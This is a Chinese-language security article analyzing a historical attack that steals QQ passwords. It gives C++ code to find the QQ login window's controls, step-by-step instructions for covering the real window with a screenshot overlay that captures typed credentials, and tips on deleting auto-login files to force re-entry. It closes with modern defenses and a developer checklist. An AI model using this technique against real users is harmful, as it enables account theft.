首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> C語言 >> VC >> 關於VC++

QQ 安全機制分析:從密碼保護到偽裝登入視窗的攻防實戰

     編輯:關於VC++

前言與法律聲明

⚠ 嚴正聲明: 本文僅供安全研究與防禦教育目的,分析 QQ 登入機制的歷史弱點與社交工程學攻擊手法。嚴禁用於非法竊取帳號、釣魚攻擊或任何侵犯用戶隱私的行為。 違者自負法律責任。

早期 QQ 版本(約 2000 年代)存在密碼輸入框防護不足、自動登入資料儲存機制脆弱等問題。本文復盤歷史技術細節,幫助開發者理解輸入保護、視窗偽裝、資料檔案保護等防禦要點。

核心攻擊面分析

1. 密碼輸入框防護繞過:從 WM_GETTEXT 到視窗偽裝

  • 早期 QQ 登入視窗密碼框雖阻擋 WM_GETTEXT/GetWindowText 直接讀取,但未防禦視窗層級的偽裝攻擊。
  • 攻擊思路:偵測 QQ 登入視窗 → 截圖桌面 → 隱藏真實視窗 → 建立全螢幕偽裝視窗貼上截圖 → 在對應位置建立輸入框 → 使用者輸入後透過 WM_SETTEXT 寫回真實視窗 → 模擬點擊登入按鈕。

2. 自動登入資料檔案弱點

檔案功能風險
AutoLogin.dat儲存自動登入帳號加密資料刪除後強制使用者手動輸入,暴露登入視窗
LoginUinList.dat儲存下拉選單歷史帳號列表配合刪除可清除痕跡,誘導使用者以為需重新輸入

關鍵技術實作細節(防禦視角解析)

進程與視窗偵測

BOOL processIdToName(LPTSTR lpszProcessName, DWORD PID) {
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 pe;
    pe.dwSize = sizeof(PROCESSENTRY32);
    if (!Process32First(hSnapshot, &pe)) return FALSE;
    while (Process32Next(hSnapshot, &pe)) {
        if (pe.th32ProcessID == PID) {
            strcpy(lpszProcessName, pe.szExeFile);
            return TRUE;
        }
    }
    return FALSE;
}

QQ 登入視窗元素定位

void QQFind() {
    HWND g_hWnd = GetForegroundWindow();
    DWORD QQPID;
    GetWindowThreadProcessId(g_hWnd, &QQPID);
    char sTitle[255];
    CString ss;
    processIdToName(sTitle, QQPID);
    ss = sTitle; ss.MakeLower();
    if (ss != "qq.exe") return; // 非 QQ 進程

    SendMessage(g_hWnd, WM_GETTEXT, 255, (LPARAM)sTitle);
    ss = sTitle;
    if (ss.Find("QQ") >= 0 || ss.Find("登錄") >= 0) {
        // 定位登入按鈕、取消按鈕、帳號輸入框、密碼輸入框
        HWND ButtonLogin = FindWindowEx(g_hWnd, NULL, "Button", "登錄");
        HWND ButtonCancel = FindWindowEx(g_hWnd, NULL, "Button", "取消");
        HWND hWnd1 = FindWindowEx(g_hWnd, NULL, "#32770", NULL);
        HWND qqPass_hWnd = FindWindowEx(hWnd1, NULL, "Edit", NULL);
        HWND qqID_hWnd = FindWindowEx(FindWindowEx(g_hWnd, NULL, "ComboBox", NULL), NULL, "Edit", NULL);
        // 取得各元素視窗矩形座標 GetWindowRect(...)
    }
}

偽裝視窗建立與資料竊取流程

  1. 等待視窗完全顯示 Sleep(100)
  2. 全螢幕截圖 CopyScreenToBitmap
  3. 隱藏真實 QQ 視窗 ShowWindow(g_hWnd, SW_HIDE)
  4. 建立模態對話框 DialogBoxParam(... IDD_WIN847 ...) 覆蓋全螢幕,背景貼上截圖
  5. 在截圖中帳號/密碼輸入框位置建立真實 Edit 控制項
  6. 偵測使用者點擊「登入」按鈕區域 → 讀取輸入內容
  7. 顯示真實 QQ 視窗 ShowWindow(g_hWnd, SW_SHOW)
  8. 將竊取的帳號密碼寫入真實輸入框 WM_SETTEXT
  9. 模擬點擊登入按鈕 SendMessage(ButtonLogin, BM_CLICK, 0, 0)

現代防禦機制對比

歷史弱點現代防禦 (QQ NT / 現代版本)
密碼框允許 WM_SETTEXT 寫入輸入框採用安全輸入法、虛擬鍵盤、記憶體加密,阻擋外部訊息注入
視窗類別名固定 (#32770, Button, Edit)動態隨機化視窗類別、使用 DirectUI/Chromium Embedded Framework 渲染
自動登入資料檔案明文/弱加密採用 DPAPI、硬體級加密 (TEE/SE)、雲端同步憑證
無視窗完整性驗證簽名驗證、防偽裝機制、輸入法安全模式

開發者防禦清單

  1. 輸入保護:使用系統提供的安全輸入控件(如 Windows Credential UI、WebView2 密碼欄位)。
  2. 視窗完整性:定期驗證視窗層級結構、類別名、進程關聯是否被竄改。
  3. 敏感資料儲存:採用 DPAPI / Keychain / Keystore 硬體加密,避免自行設計加密方案。
  4. 防偽裝:關鍵操作要求二次驗證(簡訊、生物識別、硬體金鑰),即使視窗被劫持也無法完成完整登入流程。
  5. 使用者教育:提醒用戶檢查網址列、憑證資訊、避免在非官方客戶端輸入密碼。

總結

早期 QQ 安全事件揭示了「客戶端不可信」的鐵律:任何在使用者端執行的程式碼、視窗、資料都可能被分析、攔截、竄改。現代應用安全架構已轉向「零信任客戶端」——核心驗證邏輯前置至伺服器端,客戶端僅負責安全輸入收集與令牌展示。理解歷史攻擊手法,是構建更安全現代應用的基石。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved